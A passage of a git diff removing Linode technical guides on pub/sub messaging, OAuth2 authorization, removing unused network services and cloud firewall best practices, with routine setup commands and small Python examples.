this isn’t the same as solely relying on a message queue or event broker configuration. - -### Understanding the Pub/Sub Usage Types - -There are a number of pub/sub usage types and they each have different products supporting them. This list provides a quick overview of the most common usage types, or environments, and provides a few ideas on which products support them: - -- **Sensor/device-to-service**: A device, such as an Internet of Things (IoT) device, communicates with a service. The device sends data and doesn’t make any requests. The data is sent without any sort of verification that it has reached its destination because the data remains in the message queue until removed by the service or overwritten by newer data. A product that interacts with IoT devices is [IoT Edge Connect API](https://techdocs.akamai.com/iot-edge-connect/reference/api). - -- **Client/Server**: A client (requestor), normally a user, sends a request to a server, which generally results in a response. Products like [MogoDB Atlas](https://www.mongodb.com/atlas/database), [Firebase Realtime Database](https://firebase.google.com/docs/database), and [Amazon Redshift](https://aws.amazon.com/redshift/) provide a cloud-based version with updated features. - -- **Service-to-service**: Two services exchange messages to provide a queue of requests for each service to process in a type of peer interaction that doesn’t have a user element. This form of pub/sub often requires the publisher (the requestor) to provide monitoring, as is the case with [Apache Kafka](https://kafka.apache.org/), [IBM MQ](https://www.ibm.com/products/mq), and [Google Pub/Sub](https://cloud.google.com/pubsub). - -- **Queued tasking**: The form of pub/sub involves three components: the task generator, task manager, and the worker. All three components can appear in the same application, but the task manager is generally a separate service, such as [Trello](https://trello.com/), [monday.com](https://monday.com/), and [Todoist](https://todoist.com/). An application or user creates tasks that are then queued and managed by the task manager and performed by the worker. - -- **Service-to-client**: The pub/sub architecture also lends itself to keeping a client apprised of external events or receiving informational updates. Most often, the communication takes the form of a dashboard that allows a person to monitor a server or service as is done with products like [Akamai Connected Cloud](https://www.akamai.com/), [Microsoft Azure](https://azure.microsoft.com/en-us), and [Amazon Web Services](https://aws.amazon.com/). However, there is no real limit on how a publisher can interact with a subscriber through a queue to pass data of any sort. - -### Interacting With Other Services - -Many communication technologies are dedicated solely to communication. A pub/sub setup can interact with other kinds of services to provide additional information as part of communication or to instigate the startup of additional tasks. Categories of these other types of interaction include: - -- Data management -- Data processing -- System monitoring -- Administrator alerting -- Event logging -- Authorization/authentication -- Connectivity to other APIs -- Workflow management - -### Dynamic vs Static Scaling - -Modern pub/sub setups rely on dynamic scaling, whereas older configurations used static scaling. The difference is that with an older system, the system was set up and configured to accommodate a specific number of connections, even if all those connections weren’t being used at a particular time. This means that there weren’t enough connections during peak request times causing delays, and too many connections during quieter times wasting money and resources. A dynamic setup automatically resizes itself to meet the needs of the moment, which creates a flexible, cost-saving environment with low latency. - -However, the scaling is dependent on the system on which pub/sub runs and the kinds of connections required. A pub/sub configuration can still experience load surges when there is a great deal of traffic, and slowdowns until the underlying system dynamically scales to handle the increased traffic. The use of message queuing to hold excess messages provides a caching effect to help deal with the load better, but it’s still best not to expect a precise quality of service because a large setup is subject to performance issues. - -## Working With Pub/Sub - -This section uses a third-party Pub/Sub library called [PyPubSub](https://pypubsub.readthedocs.io/en/v4.0.3/), which allows you to create and use basic pub/sub setups. It relies on a [basic setup](https://pypubsub.readthedocs.io/en/v4.0.3/installation.html), rather than using the longer version on the [GitHub](https://github.com/Humbedooh/pypubsub) site, which can prove error-prone, but may provide you with additional flexibility when working with your own code. - -### Install the Required Software - -To install PyPubSub, open a terminal window and connect to your Linode. The example is using an Ubuntu 22.04 LTS configuration with Python 3.9. - -1. Type `sudo apt update` and press **Enter** to look for updates. - -1. Type ``sudo apt -y upgrade`` and press **Enter** to perform any required upgrades. At this point, you may have to close the terminal window, perform a reboot of your system, and then reopen the terminal window to ensure that any upgrades have taken effect. This avoids problems later). - -1. Type `sudo apt install -y python3-pip` and press **Enter** to install the [Package Installer for Python (PIP)](https://pip.pypa.io/en/stable/) utility. - -1. Type `pip install pypubsub` and press **Enter** to install PyPubSub. Create a Python application to test your installation. - -### Create a Test Application - -The test application is written in Python and is designed to demonstrate pub/sub basics using nothing more than a topic with an associated message. [PyPubSub is capable of doing a lot more](https://pypubsub.readthedocs.io/en/v4.0.3/usage/index.html), but this is a good place to begin. - -```file {title="example_application.py" lang="python"} -from pubsub import pub - - -def listener_A(arg): - print('Listener A receives message topic: ', arg['topic']) - print(arg['message']) - print() - - -def listener_B(arg): - print('Listener B received message topic: ', arg['topic']) - print(arg['message']) - print() - - -# Register listeners -pub.subscribe(listener_A, 'TopicA') -pub.subscribe(listener_A, 'TopicB') -pub.subscribe(listener_B, 'TopicB') -pub.subscribe(listener_B, 'TopicC') - -# Send messages to all listeners of topics -pub.sendMessage('TopicA', arg={'topic': 'A Topic', - 'message': 'Topic A Content'}) -pub.sendMessage('TopicB', arg={'topic': 'B Topic', - 'message': 'Topic B Content'}) -pub.sendMessage('TopicC', arg={'topic': 'C Topic', - 'message': 'Topic C Content'}) - -``` - -The code comes in three parts after you import the `pubsub` library. The first part defines listeners that are part of the subscriber setup. A subscriber needs to listen to messages from the publisher. In this case, the listener will receive a topic and a message as input for each message that the publisher sends. You can create other content that contains more than just two arguments. The listener has to be generic to all messages that the publisher might send. - -The second part is subscriber registration for specific message topics. The call to `pub.subscribe()` includes the name of a listener function and the topic of interest. - -The third part actually sends a message using the `pub.sendMessage()`. Notice that the publisher doesn’t check for any listeners. If no one is listening, the message goes out into the ether and drops in the bit bucket. Each message posting includes the topic and its associated arguments, which are then picked up by the listener and displayed on the screen. Here is the output from this example: - -```output -Listener A receives message topic: A Topic -Topic A Content - -Listener A receives message topic: B Topic -Topic B Content - -Listener B received message topic: B Topic -Topic B Content - -Listener B received message topic: C Topic -Topic C Content -``` - -Each subscriber receives only the topics of interest. If the publisher sends a message to `TopicD`, no one is going to receive it. Likewise, even if a subscriber subscribes to `TopicE`, it receives nothing until the publisher actually outputs it. - -## Conclusion - -One consideration for using pub/sub is that it’s not a good choice for time-critical tasks, where RPC really shines. It’s problematic in an environment where the publisher must ensure that subscribers actually receive requests or data because there isn’t a completely bulletproof method to obtain receipts from the subscribers. Consequently, pub/sub has limitations, like any other strategy. - -Using pub/sub requires a good design and implementation because one subscriber can request information from multiple publishers and multiple publishers can push data to a single subscriber. In most cases, a pub/sub configuration ends up being a many-to-many construct with the role of publisher and subscriber often being exchanged to allow two-way communication between participants. \ No newline at end of file diff --git a/docs/guides/security/authentication/oauth2-authentication-an-introduction/index.md b/docs/guides/security/authentication/oauth2-authentication-an-introduction/index.md deleted file mode 100644 index c85ab2d6657..00000000000 --- a/docs/guides/security/authentication/oauth2-authentication-an-introduction/index.md +++ /dev/null @@ -1,240 +0,0 @@ ---- -slug: oauth2-authentication-an-introduction -title: "What Is OAuth2 Authentication?" -title_meta: "An Introduction to OAuth2 Authentication" -description: 'This guide provides an introduction to Oauth2 authentication, flows, scopes, and libraries.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2021-10-22 -keywords: ['What is Oauth2','How does Oauth2 work','Oauth2 flow','Oauth vs oauth2'] -tags: ['python', 'security'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[OAuth2 website](https://oauth.net/2/)' -- '[OAuth2 libraries](https://oauth.net/code/)' ---- - -[*OAuth 2.0*](https://oauth.net/2/) is an authorization protocol that helps application users securely share access to their accounts. For example, with the help of OAuth 2.0, a social media app user can securely share their email contacts with the app. Providing account details directly to the application is highly problematic from the perspective of web security and privacy. OAuth2 allows users to grant limited access to their accounts with third-party applications without sharing any passwords. This guide discusses how OAuth2 works and compares it to other authorization frameworks. - -## What is OAuth2? - -OAuth release 2.0 has become the tech industry's open standard for authorization and access delegation. It allows for some degree of flexibility and leaves many decisions up to the individual implementations. Security flaws have been discovered in some of these libraries, but OAuth2 best practices can reduce the risk of these problems. - -The OAuth process allows users to authorize web applications to access their accounts without sharing login or password details. Authorization details are handled by the site hosting the account, not the site requesting the access. This is why OAuth is known as an authorization protocol, not an authentication protocol. This process is also known as *secure delegated access*. OAuth is application-centric. This means permissions are granted to a specific client application rather than being attached to a particular user. - -The service uses OAuth to dispense *access tokens* containing account permissions to third-party applications. This token can then be used to directly access the actual account information. OAuth is specifically designed to work with the *Hypertext Transfer Protocol Secure* (HTTPS) protocol. It uses the *Secure Sockets Layer* (SSL) to ensure data and tokens remain safe during transmission. - -## Benefits of OAuth2 Authentication - -OAuth2 features some advantages over other more complex protocols. The current release has evolved and matured in comparison to the original OAuth protocol. Some advantages include the following: - -- OAuth's token-based method is more secure than sharing password details directly with third-party applications. -- It gives the user more control over what information they are sharing. -- OAuth2 allows users to revoke their access tokens if they want to disable access. -- It is supported and recommended by many large tech organizations such as Facebook, Microsoft, and Google. Some of these sites require the use of OAuth 2.0 to access account information. -- OAuth2 can be used to access secure RSS or ATOM feeds, which had been difficult to access before. -- OAuth2 is flexible and can be used by web, desktop, and mobile applications. -- It is compatible with *Single Sign-On* (SSO) systems and authentication protocols. -- It is relatively easy for developers to implement. Many third-party OAuth libraries are available. - -### OAuth vs OAuth2 - -OAuth1 was originally based on *Flickr's authorization protocol* and *Google's AuthSub* utility. OAuth2 completely overhauled the first release of OAuth and should be thought of as a completely new protocol. Here are some of the major differences between the two releases: - -- OAuth1 and OAuth2 are not compatible. -- OAuth2 is designed to simplify some sections of the original protocol that developers found confusing. -- OAuth1 uses cryptographic techniques and digital signatures to verify message integrity, whereas OAuth2 bases its authorization mechanism around access tokens. Cryptographic techniques are more secure, but also more difficult to implement. However, tokens can be copied or even stolen under certain circumstances. -- OAuth2 uses HTTPS and TLS to handle security, whereas OAuth1 was more protocol agnostic. This means release 2.0 is more dependent on its transport protocols. -- The tasks of account verification and resource handling are decoupled in OAuth2. -- OAuth2 is more flexible than OAuth1, and can now handle applications other than web clients. - -Overall, there is a tradeoff between the two releases. OAuth2 is easier to use but is slightly less secure. - -## OAuth2 Definitions - -The OAuth2 protocol introduces a substantial amount of new terminologies. Some of the key terms are described in this section. - -### OAuth2 Scopes - -In OAuth2 terminology, a *scope* specifies the level of access the client is requesting. It refers to the information or functionality that the application can access, and whether read-only or write access is allowed. The particular data contained within a scope is referred to as a *claim*. - -### OAuth2 Roles - -There are four roles defined within the OAuth 2 authorization flow. These roles describe an actor's position within the protocol and the actions they might take. - -**Resource Owner:** This role refers to a person or service that grants access to certain aspects of their account. In a typical workflow, this is a user who logs in to one of their accounts via a third-party application. As part of the authorization process, the resource owner can specify a scope to apply to the request. - -**Client:** This is the application that is attempting to access the resource owner's account. However, it must obtain permission from the owner before it can make its request. In most cases, clients must pre-register with the target service and obtain a designated client identifier before making any authorization requests. The client must present these credentials when attempting to access any account information. - -**Authorization Server:** This server validates the user credentials and provides an access token that can be used to request the resources at some later point. - -**Resource Server:** This server hosts the account resources that the client wants to access. Clients must use the resource server's API and submit an access token when making a request. In some cases, this might be the same device as the authorization server, but for popular services, they are usually different. - -## How does OAuth Work? A Description of the OAuth2 Authentication Flow - -Although the exact OAuth2 flow differs somewhat depending on the application, there are three main sections of the authorization procedure. The approach described in this section is recommended for web server applications where processing takes place internally and code is not externally visible. A brief explanation of single-page or JavaScript applications where the source code is exposed follows the main section. - -### Step 1: Client and Resource Owner - -In this step, the client asks the resource owner for access and presents them with an authorization request. For example, the web application could provide the user with, or redirect a user to, a URL where they can enter authorization details. The resource owner can then decide whether or not to grant access and specify the scope for the access. The user typically authorizes the request by entering either their account details or a one-time code. - -If the authorization request is successful, the target service transmits an authorization code back to the client, typically as part of the redirect URL. The application stores this code for use in the next step of the negotiation. - -### Step 2: Client and Authorization Server - -When the client receives the code, it asks the service's authorization server for an *access token*. As part of the request, it supplies the authorization code and proof of its own identity. It typically transmits its request in the form of an HTTPS message. As soon as the server validates the information and verifies the client is trustworthy, it sends the client an access token. The client never learns anything about the resource owner's account information. - -### Step 3: Client and Resource Server - -In the final phase of the negotiation, the client presents the access token to the resource server, and requests access to the protected resource. If the access token is still valid, the server provides the client access to the account within the scope of the access grant. - -{{< note >}} -Single-page applications, including those generated entirely through JavaScript, cannot securely maintain a secret client identity. In this case, the *Proof Key for Code Exchange* (PKCE) extension is used to dynamically generate a secret key for each request. There are some additional concerns for mobile applications. All applications can use PKCE to eliminate the possibility of the code being intercepted and to enhance security. Consult the [*OAuth2 specification*](https://oauth.net/2/) for more details. - -Devices without a keyboard, such as smart televisions, typically implement OAuth2 using a *device code*. The device code is used alongside a user code that is submitted elsewhere. -{{< /note >}} - -## Popular OAuth2 Libraries - -Links to popular OAuth2 libraries are available in a variety of languages, including JavaScript, Python, and PHP, courtesy of the [*OAuth2 libraries directory*](https://oauth.net/code/). These libraries are divided into client libraries and server libraries. Client libraries are used by applications to access protected account services. There are also links to open source and commercial OAuth providers. It is best to use a library recommended by the OAuth site because other implementations might have security concerns or coding flaws. - -Due to a large number of libraries, this guide focuses on the high-level task of selecting, installing, and using an OAuth2 client library. In this section, a sample Python library is used as an example. Pseudocode is shown for each step, with a more detailed summary of the code at the end of this section. Some basic knowledge of Python is necessary to understand the code samples. - -{{< note >}} -You must register the application with the service before accessing any account information. You must also register and submit a URL to redirect client traffic. After approving your registration, the application provides you with a client ID and secret. All applications must use HTTPS when transmitting and receiving OAuth2 messages. -{{< /note >}} - -### How to Use a Python OAuth2 Library - -1. Review the supported languages on the [*OAuth2 libraries page*](https://oauth.net/code) and select the category corresponding to the language you are using. Alternatively, select a link to a commercial or open-source provider. - -1. Select a library from the available choices. Evaluate the alternatives by comparing how many downloads and stars each package has received on GitHub. Review the documentation, as some packages are easier to install and use than others. This tutorial uses the [*Rauth*](https://github.com/litl/rauth) package from GitHub for an example. The exact installation instructions depend on the package. - -1. Download and install the library. In many cases, the library can be installed using `apt` or `pip`. In other cases, the library must be added to the source list first. - - {{< note respectIndent=false >}} -The following command assumes Python and `pip` are already installed on the Linode. - {{< /note >}} - - sudo pip3 install rauth - - {{< output >}} -Installing collected packages: rauth -Successfully installed rauth-0.7.3 - {{< /output >}} - -1. Inside the python file, import `OAuth2Service` from the `rauth` package. - - {{< file "oauth2.py" python >}} -from rauth import OAuth2Service - {{< /file >}} - -1. Instantiate an `OAuth2Service` container object for use throughout the authorization process. Use the `client_id` and `client_secret` that were assigned to the application when it was registered. The other values are unique to the service being accessed. Verify all URLs using the service documentation. - - {{< file "oauth2.py" >}} -service = OAuth2Service(params) - {{< /file >}} - -1. Use this object to access the redirect URL for the service. When the client finishes authorizing access to the service, this link contains an authorization code. Consult the [service documentation](https://rauth.readthedocs.io/en/latest/api/#oauth-2-0-services) for details about how the code is embedded in the `url` variable. - - {{< file "oauth2.py" python >}} -url = service.get_authorize_url(**params) - {{< /file >}} - -1. Extract the authorization code from the `url` and use it to request an access token for the user account. Submit the authorization code as part of the `data` object. - - {{< file "oauth2.py" python >}} -token = service.get_auth_session(data=data) - {{< /file >}} - -1. The session can now be used to access account information. - - {{< file "oauth2.py" python >}} -r = token.get(params) -"do something with r" - {{< /file >}} - -1. An actual implementation of this scenario, using methods and parameters from the `rauth` library, would be similar to the following prototype. Substitute the appropriate URLs for the service being accessed in place of the `example.com` URLs. - - {{< file "oauth2.py" python >}} -from rauth import OAuth2Service - -# Initialize the container - -service = OAuth2Service( - name='example', - client_id='123', - client_secret='456', - access_token_url='https://example.com/token', - authorize_url='https://example.com/authorize', - base_url='https://example.com/api/') - -# Construct the params dict and use it to retrieve the url embedded in the authorization code - -params = {'redirect_uri': 'http://example.com/', - 'response_type': 'code'} -url = service.get_authorize_url(**params) - -# Write a routine to extract the code from the url based on the service documentation - -code = parse_url_for_code(url) - -# Construct the data dict and use it to obtain an access token - -data = {'code': 'code_from_url_above', - 'grant_type': 'authorization_code', - 'redirect_uri': 'http://example.com/'} - -token = service.get_auth_session(data=data) - -# Use the token as required - -r = token.get('url', params={'format': 'json'}) - {{< /file >}} - -## OAuth2 Comparisons - -OAuth is not the only protocol that can be used for authentication and authorization. Some competing and complementary protocols are [*OpenID*](https://openid.net/) and [*OpenID Connect*](https://openid.net/connect/) (OIDC), *eXtensible Access Control Markup Language* (XACML), and the *Security Assertion Markup Language* (SAML). - -OAuth2 can be used for authentication without an assisting protocol. This process is known as *pseudo-authentication*, but it is not recommended. - -### OAuth2 vs OpenID/OIDC - -OpenID is complementary to OAuth2. It is intended for authentication rather than authorization. - -Some of the similarities and differences between OAuth2 and OpenID are as follows: - -- OAuth2 is used for authorization while OpenID is mainly for authentication. Authorization means the user is allowing the application to access an account they own. For authentication, the user must prove their identity. -- An OpenID server used for authenticating a user is typically referred to as an *identity provider*. -- In OpenID, the response from the authorization server affirms the resource owner's identity. Consequently, OpenID does not provide an access token. Instead, it dispenses an *ID token*. The information in this token has a special format and is encapsulated in a tamper-proof *JSON Web Token* (JWT). -- OAuth2 is not specifically a means of authentication, even though the authorization server typically authenticates the user while validating their credentials. - -OAuth2 is more closely related to OIDC, an authentication layer built on top of OAuth2. The two protocols can be used together. A comparison between OIDC and OAuth2 is as follows: - -- OIDC allows clients to validate the identity of a user based on the results of the authorization procedure. -- OIDC can be used to obtain details about the user, including their account profile or log-in details. OAuth does not have any such capabilities. It can access account details without knowing anything about the user. -- Both protocols are fairly flexible and can support web and mobile clients. -- OIDC has additional capabilities. It can discover OpenID Providers and manage session details. It can also be configured to encrypt the identity details. - -### OAuth2 vs XACML - -XACML is an alternative for authorization that is based on access control. However, it can be combined with OAuth2 for a more complete solution. Some of the differences between the two protocols are as follows: - -- XACML uses policies to control the level of access. -- XACML uses a request and response format for its requests. -- XACML is more granular than OAuth is. Its policies can take into account attributes including the context, the action being taken, and the nature of the resource. OAuth has access to the resource based on the scope of the grant, with no further restrictions and no additional access rights. -- OAuth2 requires HTTP, but XACML can work over a wider range of applications, including databases. - -XACML policies can potentially incorporate OAuth2 authorization grants. OAuth2 can obtain the authorization and gain delegated access rights. XACML can then further refine this access based on its control policies. For example, it can determine whether a user has read-only or write access within different ranges of the OAuth2 scope. - -### OAuth2 vs SAML - -SAML is also used for authentication and identity management. It provides tokens containing the user's identification record. SAML is more commonly used in enterprise settings, like Enterprise Single Sign-On (SSO). In an enterprise environment, it gives the user access to a wide range of company resources with only one login. OAuth2 and SAML can both be used for single sign-on, but SAML is user-centric, while OAuth2 provides access to a specific client application. - -OAuth2 and SAML can be used together. However, OAuth2 and OIDC are considered a better combination that is usually easier to implement. - -## OAuth2 Summarized - -OAuth2 is the current standard for authorization and access delegation. It defines several user roles and outlines a procedure for authorization. In a typical OAuth2 flow, the client acquires an access token after a successful authorization exchange. It then uses this token to access protected resources. OAuth2 is easier to implement than the first release of OAuth but is perhaps not quite as secure. There are a few alternatives and complements to OAuth2, including OpenID/OIDC and XACML. - -A large number of OAuth2 libraries are available in different programming languages. These can be found on the [*OAuth2 site*](https://oauth.net/code/). The typical library includes high-level instructions for each step of the authorization process. diff --git a/docs/guides/security/basics/remove-unused-network-facing-services/index.md b/docs/guides/security/basics/remove-unused-network-facing-services/index.md deleted file mode 100644 index 2df6939b8cc..00000000000 --- a/docs/guides/security/basics/remove-unused-network-facing-services/index.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -slug: remove-unused-network-facing-services -title: "Remove Unused Network-Facing Services" -title_meta: "How to Remove Unused Network-Facing Services" -description: "Learn how to remove unused services that are exposed to the network and why you should." -authors: ["Linode"] -contributors: ["Linode"] -published: 2022-02-16 -modified: 2022-02-15 -keywords: ["security", "secure", "remove services"] -tags: ["security"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Most Linux distributions install with running network services which listen for incoming connections from the internet, the loopback interface, or a combination of both. Network-facing services which are not needed should be removed from the system to reduce the attack surface of both running processes and installed packages. - -### Determine Running Services - -To see your Linode's running network services: - - sudo ss -atpu - -The following is an example of the output given by `ss`, and shows that the SSH daemon (sshd) is listening and connected. Note that because distributions run different services by default, your output will differ. - -{{< output >}} -Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port -tcp LISTEN 0 128 *:ssh *:* users:(("sshd",pid=3675,fd=3)) -tcp ESTAB 0 208 203.0.113.1:ssh 198.51.100.2:54820 users:(("sshd",pid=3698,fd=3)) -tcp LISTEN 0 128 :::ssh :::* users:(("sshd",pid=3675,fd=4)) -{{< /output >}} - -#### TCP - -See the **Peer Address:Port** column of the `ss` readout. The process `sshd` is listening on `*:*`, which translates into any incoming IPv4 address to any port, and over any network interface. The next line shows an established SSH connection from IP address 198.51.100.2 via ephemeral port 54820. The last line, `:::*` denotes the `sshd` process listening for any incoming SSH connections over IPv6 to any port, and again over any network interface. - -#### UDP - -UDP sockets are *[stateless](https://en.wikipedia.org/wiki/Stateless_protocol)*, meaning they are either open or closed and every process's connection is independent of those which occurred before and after. This is in contrast to TCP connection states such as *LISTEN*, *ESTABLISHED* and *CLOSE_WAIT*. The `ss` output above shows no UDP connections. - - -### Determine Which Services to Remove - -A basic TCP and UDP [nmap](https://nmap.org/) scan of your Linode without a firewall enabled would show SSH and possibly other services listening for incoming connections. By [configuring a firewall](#configure-a-firewall) you can filter those ports to your requirements. Ideally, the unused services should be disabled. - -You will likely be administering your server primarily through an SSH connection, so that service needs to stay. As mentioned above, [RSA keys](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#upload-ssh-key) and [Fail2Ban](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#use-fail2ban-for-ssh-login-protection) can help protect SSH. System services like `chronyd`, `systemd-resolved`, and `dnsmasq` are usually listening on localhost and only occasionally contacting the outside world. Services like this are part of your operating system and will cause problems if removed and not properly substituted. - -However, some services are unnecessary and should be removed unless you have a specific need for them. Some examples could be [Exim](https://www.exim.org/), [Apache](https://httpd.apache.org/) and [RPC](https://en.wikipedia.org/wiki/Open_Network_Computing_Remote_Procedure_Call). - -{{< note >}} -If you are using the [Apache](https://httpd.apache.org/) web server as part of your configuration, it is recommended in most cases to disable `Directory Listing` as this setting is enabled by default and can pose a security risk. For more information, see [Apache's Documentation](https://cwiki.apache.org/confluence/display/HTTPD/DirectoryListings). -{{< /note >}} - -### Uninstall the Listening Services - -How to remove the offending packages will differ depending on your distribution's package manager. - -**CentOS** - - sudo yum remove package_name - -**Debian / Ubuntu** - - sudo apt purge package_name - -**Fedora** - - sudo dnf remove package_name - -Run `ss -atup` again to verify that the unwanted services are no longer running. \ No newline at end of file diff --git a/docs/guides/security/firewalls/firewall-best-practices-for-securing-your-cloud-based-applications/index.md b/docs/guides/security/firewalls/firewall-best-practices-for-securing-your-cloud-based-applications/index.md deleted file mode 100644 index 1d148c762b1..00000000000 --- a/docs/guides/security/firewalls/firewall-best-practices-for-securing-your-cloud-based-applications/index.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -slug: firewall-best-practices-for-securing-your-cloud-based-applications -title: "Firewall Best Practices for Securing Your Cloud-Based Applications" -description: 'Explore the firewall best practices to secure cloud-based applications, from security policy and network design to rule sets, audits, logs, and updates.' -authors: ["David Robert Newman"] -contributors: ["David Robert Newman"] -published: 2023-11-28 -keywords: ['cloud-based firewall','block malicious traffic','stop ddos attacks','unified threat manager','security tool','network security','application security'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Moving to the cloud has many advantages, including flexibility, reduced management overhead, performance, and security. [Cloud-based firewalls](https://techdocs.akamai.com/cloud-computing/docs/cloud-firewall) can offer finer-grained access control and more comprehensive threat mitigation than their traditional hardware-based counterparts. - -This guide outlines best practices for cloud-based firewall deployment. This includes network design review, creation of a security policy, firewall rule ordering, log analysis, and regular auditing. - -## What Is a Firewall? - -A common misperception is that firewalls are just access-control devices that limit reachability to hosts and applications. While firewalls do provide access control, they also mitigate security threats in many other ways. In the broadest sense, a firewall is a device that enforces a security policy. - -Because firewalls often sit between network segments, they may also function as routers. Many commercial firewall products include some form of unified threat management (UTM). UTM bundles antivirus, anti-phishing, intrusion detection/prevention, and DDoS protection features along with access control. - -Over time, firewalls have moved up the application stack. The first implementations were simple filters that blocked or allowed individual packets based on IP address and port number. The next wave of products added stateful inspection, which monitor flows instead of individual packets. - -Modern firewalls, including so-called next-generation firewalls (NGFWs), operate at the application layer (L7). They may control access based on HTTP URLs, specific types of SQL queries, or other application-layer criteria. - -As part of a UTM bundle, some also perform deep-packet inspection (DPI). DPI peers into each packet’s application headers or body content to make forwarding/blocking decisions. This can be especially important given that poorly written web applications are often the weakest link in any security chain. - -At the heart of any firewall is its rule set, the configuration that determines how the firewall implements a given security policy. - -## Develop a Security Policy - -Before deploying a cloud-based firewall, it’s important to first write a security policy. Think of this document as a set of specifications defining exactly what you expect your networks and firewalls to do. - -A security policy should be as specific as possible. Include network diagrams showing which resources you need to protect, and list all permitted applications, services, hosts, and networks. - -Understanding your cloud-based applications is critical. If a custom web application requires access to a non-standard set of ports, or if your back-end servers only need to respond to certain types of SQL queries, your security policy and firewall rules must reflect that. - -The document may also cover user groups by defining which resources different teams can reach. For example, marketing can reach DNS, email, and web servers, but only engineering can reach build servers. - -Once you have a clear and comprehensive security policy, you’re ready to review your cloud network design and configure your firewall(s). - -## Segment Your Network - -For decades, information security professionals have warned about the "M&M" approach to network design, which wraps "a hard crunchy shell around a soft chewy center". - -Researchers Bill Cheswick and Steve Bellovin famously [warned](https://www.wilyhacker.com/) that a firewall at the network perimeter "only provides security if there is no way to get to the interior. Today, that may be unrealistic." That was in 1994, and yet perimeter-only use of firewalls persists today, even in some cloud deployments. - -Before you decide on firewall placement for your cloud-based applications, first consider how to segment your network design to protect against unauthorized access. - -Cloud-based firewalls have an advantage because they allow *microsegmentation*. Here, virtual boundaries between trusted and untrusted resources can exist at many places in the network. This is an advantage over hardware-based firewalls, where cost and management overhead may limit firewall deployment to the network edge. - -Many cloud-based services use multi-tier network designs. Here, an Internet-facing tier of web servers are backed by one or more additional tiers of content and database servers. Access control is important not only for the front-line web servers but also for communications between tiers. - -A best practice is to use IP subnetting to segment each server tier and use firewall rules that enforce access policies between tiers. This is the opposite of the M&M model as it protects against unauthorized traffic at every tier, not just at the perimeter. - -## Block All Traffic by Default - -"Live and let live" may be excellent advice in real life, but when it comes to information security the opposite is true. The general principle of building a firewall rule set is that everything is prohibited except that which is explicitly permitted. - -Many firewall implementations read rules from first to last. Your very first firewall rule needs to deny all traffic by default. After that, you can add rules that allow the specific users and applications your security policy allows. The initial default-deny rule drops everything else. - -## Allow Specific Traffic Only as Needed - -The firewall rules you add after the default-deny policy need to forward only that traffic your security policy explicitly allows. This is known as the "principle of least privilege", where firewall rules implement the exact specifications from the security policy, and nothing more. - -For example, if DNS lookups go through a firewall, its rules must permit access for UDP port 53 traffic, but not TCP port 53, which is usually reserved for zone transfers. The least-privileged approach applies to servers or server groups as well as traffic types. The same rule that allows DNS lookups could also permit forwarding only to an authorized set of DNS servers rather than to any host. - -The opposite of the principle of the least privilege is a very common error in firewall rule set design. This is the idea that "my network can do no wrong" and thus it’s okay to allow all outbound traffic. - -Allowing unlimited outbound access is a common attack vector because it can allow internal hosts to send unauthorized and possibly malicious traffic. - -Many applications use "phone home" features where a client behind a firewall initiates connections. Benign examples include remote-control applications used by IT teams for troubleshooting and the telemetry services built into many operating systems and applications. A malicious example is malware installed on a client. Benign or not, these applications bypass firewall rules governing inbound traffic. - -This is where the principle of least privilege comes in. It’s important to define a security policy that covers the *exact* user groups, hosts, and traffic types allowed. Then let the default-deny policy drop everything else. For example, networks that use proxy servers need to have firewall rules that permit HTTP and HTTPS traffic to, and only to, the proxy servers. The default-deny rule then drops any client’s attempt to reach outside web servers. - -## Run Frequent Audits - -The axiom "security is a process, not a product" means that all security policies and firewall rule sets must change over time. Network administrators may poke holes through firewalls for web applications that require access on non-standard ports. Users may require access to work from home, something perhaps not contemplated in the original security policy. New classes of threats regularly appear. - -As a result, your organization’s security readiness weakens over time unless you regularly review the policies and rules in place. - -Regular audits of security policies and firewall rule sets can help answer questions like: - -- Which applications and services are running on the network right now? -- Does the security policy cover every application and user group, both new and existing? -- Do firewall rule sets contain entries that cover everything in the current security policy? -- Do firewall rule sets contain stale entries for applications, services, or host groups that are no longer in use? Many firewalls have the ability to show how many times network traffic invokes a particular rule. A rule that’s never invoked might no longer belong in the rule set. -- Do firewall rule sets allow access to external hosts for services provided internally? - -Regular policy and rule set audits can answer these questions. They can also help ensure your security posture comprehensively and adequately reflects current conditions in your cloud network. - -## Monitor Security Logs - -Most firewalls produce voluminous logging about network traffic, and this information often goes unchecked. Ignore the logs, and you’re likely to miss important security breaches. However, triggering an alert for every firewall rule violation is likely to leave you swamped, and unable to respond when a serious incident does occur. Prioritization and automation is key when it comes to making effective use of log data. - -When determining which log entries are most important, outbound connection attempts are a good place to start. Internal hosts attempting email or SSH connections with external hosts should trigger log entries. For firewalls with application-layer access controls such as URL filtering, look for attempts to reach known malware and hacking sites. - -In other cases, log entries may be noteworthy depending on who initiates a connection. A developer uploading source code onto GitHub from a cloud-based build server is one thing. The same code coming from a user in marketing or HR is quite another. - -Once you’ve picked the most critical log entries to watch, automation can reduce a firehose of log data into a trickle of useful and actionable alerts. A monitoring system that automatically triggers an alert for each and every attempt to reach a blocked site would be useless. However, a system that automatically alerts you only for high-severity events, based on log criteria you define, can help you spot attempted attacks as they happen. - -This advice applies tenfold for firewalls with UTM capabilities, especially those with intrusion detection/prevention systems (IDS/IPS). A well-known issue with IDS/IPS devices is that they require extensive tuning of rule sets. Many products help by classifying attack signatures into high-, medium-, and low-priority buckets. At least at first, enabling only the high-priority signatures can help prevent overloading your logs and alerting systems. - -## Update Firewall Software - -While it’s best practice to keep all cloud-based hosts, containers, and applications updated, it’s especially important to apply patches to firewalls as soon as they’re available. Any security policy carries an implicit assumption that firewalls and related security tools are capable of protecting users and hosts. However, that assumption becomes false if the firewall itself is vulnerable. - -An important corollary is that firewalls with UTM features must keep their antivirus and IDS/IPS signature libraries up to date. Security researchers uncover new attacks on a daily basis. Additionally, many attackers "fuzz" a given attack, slightly altering it in the hope of eluding a matching IDS/IPS signature. If your firewall provider offers an automatic update service, use it. - -This is one area 